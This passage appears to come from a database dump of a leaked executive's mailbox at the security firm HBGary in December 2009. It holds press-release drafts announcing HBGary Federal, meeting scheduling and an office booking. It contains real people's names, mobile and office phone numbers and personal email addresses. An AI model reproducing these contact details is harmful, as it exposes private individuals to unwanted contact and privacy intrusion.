response tools that provide active intelligence for its customers. Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit: http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com \r\n\r\n\r\n      \r\n',12100,'aaron_hbgary_com/12100.html'),(344,'2009-12-03','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1296999771.M789110P3547Q344.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: How does this look?','Hi Aaron, I\'m actually going to keep the&nbsp;subhead you and Ted created -- looks good! If okay, I\'ll send over release to Penny and Greg now for review. Best, K--- On Thu, 12/3/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: How does this look?To: \"Karen Burke\" &lt;karenmaryburke@yahoo.com&gt;Date: Thursday, December 3, 2009, 10:15 AM\r\n\r\nLooks good. &nbsp;Ted and I were unsure of the word executive vice leadership. &nbsp;Could be no biggie. &nbsp;We were thinking executive was reserved for vp and above.\r\n\r\nAaron &nbsp;From my iPhone\r\nOn Dec 3, 2009, at 12:24 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Thanks so much. I think everything looks great except the subhead. Since we mention cybersecurity now in the&nbsp;headline, maybe we could shorten to:\r\n&nbsp;\r\nNew Venture Led By&nbsp;Former Northrop Grumman Executives \r\n&nbsp;Aaron Barr and Ted Vera \r\nWhat do you think -- are you comfortable with this wording? Best, K--- On Wed, 12/2/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: How does this look?To: karenmaryburke@yahoo.comCc: \"Ted Vera\" &lt;ted@hbgary.com&gt;Date: Wednesday, December 2, 2009, 9:41 PM\r\n\r\nHBGary Announces HBGary Federal, \r\nA New Subsidiary To Provide Cybersecurity Services To U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership&nbsp;Aaron Barr and Ted Vera \r\nSacramento, California, December x, 2009 -- HBGary, Inc., the leader in malware detection and analysis, today announced HBGary Federal, a new subsidiary of HBGary focused on delivering HBGary’s best-in-class malware analysis and incident response products\r\n and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary\r\n Federal.&nbsp;Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund,\r\n CEO and founder of HBGary. “HBGary remains profitable and will continue to be focused on doing what we do best -- developing technologies that detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer\r\n base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past. &nbsp;They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation\'s adversaries.&nbsp; Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nations critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.&nbsp; Our goal is to provide the technology in the hands of\r\n trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.&nbsp; \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.&nbsp; As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.&nbsp; HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\nFor more information on HBGary Federal, please visit: http//www.hbgary.com or contact (please fill in) \r\n&nbsp;\r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and&nbsp;as the Chief Engineer for Northrop Grummans’s Cyber Campaign. &nbsp; As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750\r\n million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.&nbsp; Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain. &nbsp; While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.&nbsp; He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n&nbsp;\r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community. &nbsp;He has a breadth of IT experience, having excelled in positions including: &nbsp;system administrator, Website developer, system engineer, system\r\n security engineer and program manager. &nbsp;He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures. &nbsp; Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.&nbsp; His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President\'s Award. Mr. Vera holds security\r\n clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.\r\n&nbsp;\r\n&nbsp;\r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers.&nbsp;Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit:\r\n http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com&nbsp;\r\n\r\n',2906,'aaron_hbgary_com/2906.html'),(345,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999771.M965641P3547Q345.eml','\"Karen Burke\" <karenmaryburke@yahoo.com>','Re: How does this look?','Good for me.From my iPhoneOn Dec 3, 2009, at 1:21 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\nHi Aaron, I&#39;m actually going to keep the subhead you and Ted created -- looks good! If okay, I&#39;ll send over release to Penny and Greg now for review. Best, K\r\n--- On Thu, 12/3/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: How does this look?To: &quot;Karen Burke&quot; &lt;karenmaryburke@yahoo.com&gt;\r\nDate: Thursday, December 3, 2009, 10:15 AM\r\n\r\nLooks good.  Ted and I were unsure of the word executive vice leadership.  Could be no biggie.  We were thinking executive was reserved for vp and above.\r\n\r\nAaron  From my iPhone\r\nOn Dec 3, 2009, at 12:24 PM, Karen Burke &lt;karenmaryburke@yahoo.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, Thanks so much. I think everything looks great except the subhead. Since we mention cybersecurity now in the headline, maybe we could shorten to:\r\n \r\nNew Venture Led By Former Northrop Grumman Executives \r\n Aaron Barr and Ted Vera \r\nWhat do you think -- are you comfortable with this wording? Best, K--- On Wed, 12/2/09, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: How does this look?To: karenmaryburke@yahoo.com\r\nCc: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Date: Wednesday, December 2, 2009, 9:41 PM\r\n\r\n\r\nHBGary Announces HBGary Federal, \r\nA New Subsidiary To Provide Cybersecurity Services To U.S. Government Agencies \r\nNew Venture Led By Cybersecurity Experts and Former Northrop Grumman \r\nLeadership Aaron Barr and Ted Vera \r\nSacramento, California, December x, 2009 -- HBGary, Inc., the leader in malware detection and analysis, today announced HBGary Federal, a new subsidiary of HBGary focused on delivering HBGary’s best-in-class malware analysis and incident response products\r\n and expert classified services to the Department of Defense, Intelligence Community and other U.S. government agencies to meet their unique, extremely dynamic cybersecurity challenges and requirements. \r\nIn addition, HBGary CEO and founder Greg Hoglund announced that cybersecurity experts and former Northrop Grumman employees and military veterans, Aaron Barr and Ted Vera, will operate and lead HBGary\r\n Federal. Mr. Barr will serve as CEO and Mr. Vera will serve as President and COO working in HBGary Federal’s Washington D.C. and Colorado Springs offices, respectively. \r\n“As an early adopter of HBGary Digital DNA, the U.S. government understands that the bad guys not only exist but are already inside our mission critical systems. Under the expert leadership of Aaron and Ted, HBGary Federal will ensure the proper protection of our nation’s military, government and critical infrastructure systems, “ said Greg Hoglund,\r\n CEO and founder of HBGary. “HBGary remains profitable and will continue to be focused on doing what we do best -- developing technologies that detect and analyze Zero-Day threats to provide active intelligence and serving our rapidly growing customer\r\n base.” \r\nMr. Barr and Mr. Vera are well-respected security experts in the government market, both having managed critical programs to national security in the past.  They both agree that the time is right to launch HBGary Federal, leveraging the best malware and cybersecurity analysts with most promising malware detection and prevention products on the market to help the government counter the advanced persistent threat. \r\n“Cyber warfare is becoming a much more utilized capability by our nation&#39;s adversaries.  Our government is in desperate need for advanced cybersecurity technologies utilized in the hands of trained experts. HBGary Federal will provide the subject matter experts trained to most effectively leverage these tools to satisfy mission requirements. Outdated security technologies such as signature-based malware detection tools are no longer viable to protect our nations critical resources. HBGary’s behavior-based technologies such as Responder and Digital DNA represent the future.  Our goal is to provide the technology in the hands of\r\n trained experts that can help mitigate an attack before it occurs,” said Aaron Barr, CEO of HBGary Federal.  \r\n“I am very excited to work with Aaron to launch HBGary Federal. Greg and his team have developed a strong government customer base and it’s time to take the next step to build on their success. HBGary Federal, leveraging the HBGary product line and key partnerships, provides the expertise and the tools necessary for advanced analysis, malware reverse-engineering and incident response as well as mechanisms for building, distributing, and retaining that knowledge across the enterprise.  As information operations transitions to a more net-centric environment there is a critical need for agile, forward-leaning teams with multi-disciplinary skills in native cultures, linguistics, creative design, and technology.  HBGary Federal will set the standard for building and integrating such teams into customer missions for successful information operations campaigns,” said Ted Vera, President and COO of HBGary Federal. \r\nFor more information on HBGary Federal, please visit: http//www.hbgary.com or contact (please fill in) \r\n \r\nAbout Aaron Barr, CEO, HBGary Federal \r\nPreviously, Aaron Barr served as the Director of Technology for the Cybersecurity and SIGINT Business Unit within Northrop Grummans Intelligence Systems Division, and as the Chief Engineer for Northrop Grummans’s Cyber Campaign.   As Technical Director, he was responsible for developing technical strategies and roadmaps for a $750\r\n million organization as well as managing approximately $20 million in Research and Development projects. Prior to joining Northrop Grumman, Mr. Barr served 12 years in the United States Navy as an enlisted cryptologist, senior signals analyst, software programmer, and system administrator.  Mr. Barr served tours in Misawa, Japan, Norfolk Virginia, Pensacola Florida, and Rota Spain.   While serving in Norfolk Virginia, he was accepted into the Enlisted Education Advancement Program (EEAP) where he finished a Bachellors of Science in Biology, minoring in Chemistry, later completing a Masters in Computer Science with an emphasis in Computer Security.  He has been a panelist and given speeches on cybersecurity and emerging technologies at numerous Intelligence Community and DoD conferences and symposiums. \r\n \r\nAbout Ted Vera, COO and President, HBGary Federal \r\nPrior to joining HBGary Federal, Ted Vera led the Netcentric Information Operations Department for Northrop Grumman Information Systems. In this role, he managed over 40 personnel and was responsible for contracts valued over $25M. He has 20 years of Information Technology experience, with a proven track record of winning and executing U.S. Government contracts within the DoD and Intelligence Community.  He has a breadth of IT experience, having excelled in positions including:  system administrator, Website developer, system engineer, system\r\n security engineer and program manager.  He has led development projects of all sizes, from small custom web applications to large enterprise systems-of-systems leveraging commercial-off-the-shelf architectures.   Mr. Vera served ten years in the U.S. Army, starting in 1990 with the FL Army National Guard as a Field Artillery Fire Direction Specialist.  His last duty assignment was as a shift NCO at the Army Space Operations Center at Army Space Command HQs, located in Colorado Springs, CO. During his tenure with Northrop Grumman, Mr. Vera consistently achieved extraordinary business results and received numerous prestigious customer and company awards including the 2002 NRO Operations Industrial Partner of the Year, and the 2008 TASC President&#39;s Award. Mr. Vera holds security\r\n clearances with the DoD and Intelligence Community. Mr. Vera earned a BS in Computer Information Systems from Colorado Christian University and a MS in Computer Science from Colorado Technical University.\r\n\r\n \r\n \r\nAbout HBGary, Inc. \r\nHBGary, Inc. was founded in 2003 by renowned security expert Greg Hoglund. Mr. Hoglund and his team are internationally known experts in the field of Windows internals, software reverse engineering, bug identification, rootkit techniques and countermeasures. Today HBGary specializes in developing enterprise malware detection and analysis solutions and incident response tools that provide active intelligence for its customers. Customers include leading government, financial, and healthcare organizations. The company is headquartered in Sacramento with sales offices in the Washington D.C. area. HBGary is privately held. For more information on the company, please visit:\r\n http://www.hbgary.com. \r\nFor more information: \r\nKaren Burke \r\n650-814-3764 \r\nkarenmaryburke@yahoo.com \r\n\r\n\r\n      \r\n',9531,'aaron_hbgary_com/9531.html'),(346,'2009-12-03','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1296999772.M637687P3547Q346.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Nolan Clifford','Aaron / Ted\r\n \r\nNolan Clifford is CEO of Information Security Consultants and a partner for HBGary where he is leveraging his contacts to assist with enterprise sales.  Nolan&#39;s main business however is security consulting and information assurance services which is closer to the mission of HBGary Federal.  I know you&#39;ve just gotten started but wanted to ask when you may have an opportunity to meet with Nolan, he is in D.C.?\r\n\r\n \r\nMaria\r\n \r\nBrief Bio for Nolan Clifford:\r\n \r\nCEO of Information Security Solutions LLC, providing a full range of security consulting services to US Federal, Global Public Sector and Commercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the Washington Federal Practice. Former Director of Information Assurance, General Dynamics Network Systems, National and Defense Intelligence Solutions and former Director of the Federal Security Practice at Unisys Corporation. Information Warfare Officer for the Naval Reserve Network Warfare Command. Former active duty Naval Cryptology Officer. CISSP. \r\n\r\n \r\n \r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971Website:  www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',11091,'aaron_hbgary_com/11091.html'),(347,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999773.M236249P3547Q348.eml','nolan@informationsecuritysolutionsllc.com,nolan@informationsecuritysolutionsllc.com,','Re: Nolan Clifford','Hi Nolan,I look forward to getting together. &nbsp;I could get together tomorrow afternoon. &nbsp;Next week is a bit spotty but could get together next Friday. &nbsp;Let me know if either of those work.Aaron BarrCEOHBGary Federal Inc.719.510.8478On Dec 3, 2009, at 2:35 PM, Maria Lucas wrote:Aaron / Ted\r\n&nbsp;\r\nNolan Clifford is CEO of Information Security Consultants and a partner for HBGary where he is leveraging his contacts to assist with enterprise sales.&nbsp; Nolan\'s main business however is security consulting and information assurance services&nbsp;which is closer to&nbsp;the mission of HBGary Federal.&nbsp; I know you\'ve just gotten started but wanted to ask when you may have an opportunity to meet with Nolan, he is in D.C.?\r\n\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nBrief Bio for Nolan Clifford:\r\n&nbsp;\r\nCEO of Information Security Solutions LLC, providing a full range of security consulting services to US Federal, Global Public Sector and Commercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and Privacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the Washington Federal Practice. Former Director of Information Assurance, General Dynamics Network Systems, National and Defense Intelligence Solutions and former Director of the Federal Security Practice at Unisys Corporation. Information Warfare Officer for the Naval Reserve Network Warfare Command. Former active duty Naval Cryptology Officer. CISSP. \r\n\r\n&nbsp;\r\n&nbsp;\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: 240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com \r\nhttp://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',3435,'aaron_hbgary_com/3435.html'),(348,'2009-12-03','\"HQ Day Office Reservations\" <andre.carroll@regus.com>','/aaron@hbgary.com/new/1296999773.M27924P3547Q347.eml','aaron@hbgary.com','HQ Day Office Confirmed Booking 7958806','\r\n			.Wrapper {width:600px;padding:3px;font-family:Tahoma;font-size:10pt}\r\n			.Heading {width:100%;background-color:#E0E0E0;color:#000000;font-weight:bold;padding:3px}\r\n			.Held {font-weight: bold;text-align:center}\r\n			.InvoiceFooter {font-weight: bold;text-align:center}\r\n\r\n			TABLE {border-collapse:collapse; font-size:10pt}\r\n			TABLE TD, TABLE TH {font-size:10pt}\r\n			TABLE TD {font-weight:normal}\r\n			TABLE TH {font-weight:bold;text-align:left}\r\n\r\n			TH, TD {padding:1px}\r\n			.TblD TD {width: 160px}\r\n\r\n			.TblS {width:98%}\r\n			.TblS TH {font-weight:bold}\r\n			.TblS TR.Hdr TD, .TblS TR.TTl TD {white-space:nowrap;font-weight:bold}\r\n			.TblS TD {font-weight:normal;vertical-align:top}\r\n			.TblS TR.GT TH {font-size: 120%}\r\n			.TblS TD, .TblS.TH {border:1px solid #C0C0C0;padding:3px}\r\n			.TblS TR.TTl TD {border-width:1px 0px 0px 0px}\r\n			ul {list-style-image:none;margin:0px}\r\n			ul li {font-size:8pt;list-style-image:disc;margin-left:32px}\r\n			ul li.Hdr {list-style-image:none;margin:0px}\r\n\r\n			div.RS , div.RE {border-color:#C0C0C0;border-style:solid;width:100%;height:3px;font-size:1px;margin:6px 0px 6px 0px}\r\n			div.RS {border-width: 1px 1px 0px 1px}\r\n			div.RE {border-width: 0px 1px 1px 1px}\r\n\r\n			div.Indent{padding: 0px 6px 0px 6px}\r\n\r\n			.Notes {font-size:8pt;font-style:italic;}\r\n		Thank you for confirming your booking with HQ. We are delighted to have the opportunity to help. Please find below your booking details.Confirmed Booking SummaryREFERENCE:\r\n				7958806Center:\r\n				VA, McLean - Corporate Ridge (HQ)Client:\r\n				HB GaryDay Office Details Start Date:\r\n						Monday, December 07, 2009Start Time:\r\n						8:30 AMEnd Date:\r\n						Monday, December 07, 2009End Time:\r\n						11:30 AMDelegates:\r\n						1We are pleased to provide further information on the following services as requested:\r\n					QtyServiceRatePrice1Day Office Rate$75.60$75.602Bottle WaterNo timings, please provide them.$1.00$2.001Catering - Snack BasketNo timings, please provide them.\r\n										 - Pot of coffee$10.00$10.00TOTAL$87.60 Due to limited availability, and as a courtesy to other customers, we ask that you notify us if you no longer require the booking on the requested dates.* Please Note - prices do not include local tax. The price quoted excludes any prepayment.Please use the following details to contact us:\r\n		Booker:\r\n					Andre CarrollPhone:\r\n				001 877-734-8787Email:\r\n				americas.reservations@regus.comFax:\r\n				001 214-295-3171HQ Location DetailsCenter:\r\n				VA, McLean - Corporate Ridge (HQ)Address:\r\n				2010 Corporate RidgeMcLeanVirginia22102United States of AmericaClick here for a mapPhone703 749 7700Fax703 749 7719EmailMcLean.ExecutivePlaza@regus.comYour Company DetailsClient:\r\n				HB GaryContact Name:\r\n				 Aaron BarrContact Tel:\r\n				719-510-8478Contact Email:\r\n				aaron@hbgary.comAddress:\r\n				3941 Park Dr #20-305EDH95762United States of AmericaYou have selected to pay by Payment Card.Thank you for contacting HQ. We look forward to welcoming you soon.The information in this email is confidential and may also be privileged. If you are not the intended recipient please notify us immediately.Please review the terms and conditions for HQ Global Workplaces, LLC ',4861,'aaron_hbgary_com/4861.html'),(349,'2009-12-03','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1296999773.M502952P3547Q349.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Nolan Clifford','\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nLooking forward to linking up in person. I\'m jammed up \r\ntomorrow but mid to late&nbsp;afternoon next Friday would work, or we could also \r\nlook to the following week which is currently pretty open for \r\nme...\r\n&nbsp;\r\nCheers,\r\nNolan&nbsp;\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, December 03, 2009 3:59 PMTo: \r\nnolan@informationsecuritysolutionsllc.comCc: Ted Vera; Maria \r\nLucasSubject: Re: Nolan Clifford\r\nHi Nolan,\r\n\r\nI look forward to getting together. &nbsp;I could get together tomorrow \r\nafternoon. &nbsp;Next week is a bit spotty but could get together next Friday. \r\n&nbsp;Let me know if either of those work.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 2:35 PM, Maria Lucas wrote:\r\n\r\n  Aaron / Ted\r\n  &nbsp;\r\n  Nolan Clifford is CEO of Information Security Consultants and a partner \r\n  for HBGary where he is leveraging his contacts to assist with enterprise \r\n  sales.&nbsp; Nolan\'s main business however is security consulting and \r\n  information assurance services&nbsp;which is closer to&nbsp;the mission of \r\n  HBGary Federal.&nbsp; I know you\'ve just gotten started but wanted to ask when \r\n  you may have an opportunity to meet with Nolan, he is in D.C.?\r\n  &nbsp;\r\n  Maria\r\n  &nbsp;\r\n  Brief Bio for Nolan Clifford:\r\n  &nbsp;\r\n  CEO of Information Security Solutions LLC, providing a full range of \r\n  security consulting services to US Federal, Global Public Sector and \r\n  Commercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\n  Privacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\n  Washington Federal Practice. Former Director of Information Assurance, General \r\n  Dynamics Network Systems, National and Defense Intelligence Solutions and \r\n  former Director of the Federal Security Practice at Unisys Corporation. \r\n  Information Warfare Officer for the Naval Reserve Network Warfare Command. \r\n  Former active duty Naval Cryptology Officer. CISSP. \r\n  &nbsp;\r\n  &nbsp;\r\n  -- Maria Lucas, CISSP | Account Executive | HBGary, \r\n  Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: \r\n  240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',13959,'aaron_hbgary_com/13959.html'),(350,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999773.M696532P3547Q350.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: some great ads','Those were great, especially the first and third. &nbsp;Could definately use an update, more edgy for todays post 9/11, APT world. &nbsp;BTW, I am so going to harass Linda True for her cameos in those. &nbsp;Thanks for the ammo Greg.AaronOn Dec 3, 2009, at 11:42 AM, Rich Cummings wrote:Greg,&nbsp;I put some old commercials from network associates into your home dir on support.&nbsp; The file is named commercials.rar.&nbsp; Please take a look these adds are way ahead of their time too.&nbsp; There is one in particular that has to do with nukes.&nbsp;Rich&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 12:59 AMTo:&nbsp;Rich Cummings; Penny C. Hoglund; Ted Vera; Aaron BarrSubject:&nbsp;some great ads&nbsp;Chris Claus is a doob, but these ads are great.&nbsp; This was 2001 ??&nbsp; Fast forward past the defcon interviews, there are three ISS ads at the end I want you to see.&nbsp;http://video.google.com/videosearch?hl=en&amp;source=hp&amp;q=hackers&amp;um=1&amp;ie=UTF-8&amp;sa=N&amp;tab=wv#q=biometric+please+submit+hair+sample&amp;hl=en&amp;view=2&amp;emb=0&amp;qvid=hackers&amp;vid=5177947484519927801&nbsp;-Greg',1519,'aaron_hbgary_com/1519.html'),(351,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999773.M924490P3547Q351.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,','Re: some great ads','Those were great, especially the first and third. &nbsp;Could definately use an update, more edgy for todays post 9/11, APT world. &nbsp;BTW, I am so going to harass Linda True for her cameos in those. &nbsp;Thanks for the ammo Greg.AaronOn Dec 3, 2009, at 11:42 AM, Rich Cummings wrote:Greg,&nbsp;I put some old commercials from network associates into your home dir on support.&nbsp; The file is named commercials.rar.&nbsp; Please take a look these adds are way ahead of their time too.&nbsp; There is one in particular that has to do with nukes.&nbsp;Rich&nbsp;From:&nbsp;Greg Hoglund [mailto:greg@hbgary.com]&nbsp;Sent:&nbsp;Thursday, December 03, 2009 12:59 AMTo:&nbsp;Rich Cummings; Penny C. Hoglund; Ted Vera; Aaron BarrSubject:&nbsp;some great ads&nbsp;Chris Claus is a doob, but these ads are great.&nbsp; This was 2001 ??&nbsp; Fast forward past the defcon interviews, there are three ISS ads at the end I want you to see.&nbsp;http://video.google.com/videosearch?hl=en&amp;source=hp&amp;q=hackers&amp;um=1&amp;ie=UTF-8&amp;sa=N&amp;tab=wv#q=biometric+please+submit+hair+sample&amp;hl=en&amp;view=2&amp;emb=0&amp;qvid=hackers&amp;vid=5177947484519927801&nbsp;-Greg',4390,'aaron_hbgary_com/4390.html'),(352,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999774.M157084P3547Q352.eml','nolan@informationsecuritysolutionsllc.com','Re: Nolan Clifford','lets shoot for next Friday. &nbsp;I will be out west the following week.AaronOn Dec 3, 2009, at 4:09 PM, Nolan Clifford wrote:\r\n\r\nAaron,\r\n&nbsp;\r\nLooking forward to linking up in person. I\'m jammed up \r\ntomorrow but mid to late&nbsp;afternoon next Friday would work, or we could also \r\nlook to the following week which is currently pretty open for \r\nme...\r\n&nbsp;\r\nCheers,\r\nNolan&nbsp;\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, December 03, 2009 3:59 PMTo: \r\nnolan@informationsecuritysolutionsllc.comCc: Ted Vera; Maria \r\nLucasSubject: Re: Nolan Clifford\r\nHi Nolan,\r\n\r\nI look forward to getting together. &nbsp;I could get together tomorrow \r\nafternoon. &nbsp;Next week is a bit spotty but could get together next Friday. \r\n&nbsp;Let me know if either of those work.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 2:35 PM, Maria Lucas wrote:\r\n\r\n  Aaron / Ted\r\n  &nbsp;\r\n  Nolan Clifford is CEO of Information Security Consultants and a partner \r\n  for HBGary where he is leveraging his contacts to assist with enterprise \r\n  sales.&nbsp; Nolan\'s main business however is security consulting and \r\n  information assurance services&nbsp;which is closer to&nbsp;the mission of \r\n  HBGary Federal.&nbsp; I know you\'ve just gotten started but wanted to ask when \r\n  you may have an opportunity to meet with Nolan, he is in D.C.?\r\n  &nbsp;\r\n  Maria\r\n  &nbsp;\r\n  Brief Bio for Nolan Clifford:\r\n  &nbsp;\r\n  CEO of Information Security Solutions LLC, providing a full range of \r\n  security consulting services to US Federal, Global Public Sector and \r\n  Commercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\n  Privacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\n  Washington Federal Practice. Former Director of Information Assurance, General \r\n  Dynamics Network Systems, National and Defense Intelligence Solutions and \r\n  former Director of the Federal Security Practice at Unisys Corporation. \r\n  Information Warfare Officer for the Naval Reserve Network Warfare Command. \r\n  Former active duty Naval Cryptology Officer. CISSP. \r\n  &nbsp;\r\n  &nbsp;\r\n  -- Maria Lucas, CISSP | Account Executive | HBGary, \r\n  Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: \r\n  240-396-5971Website: 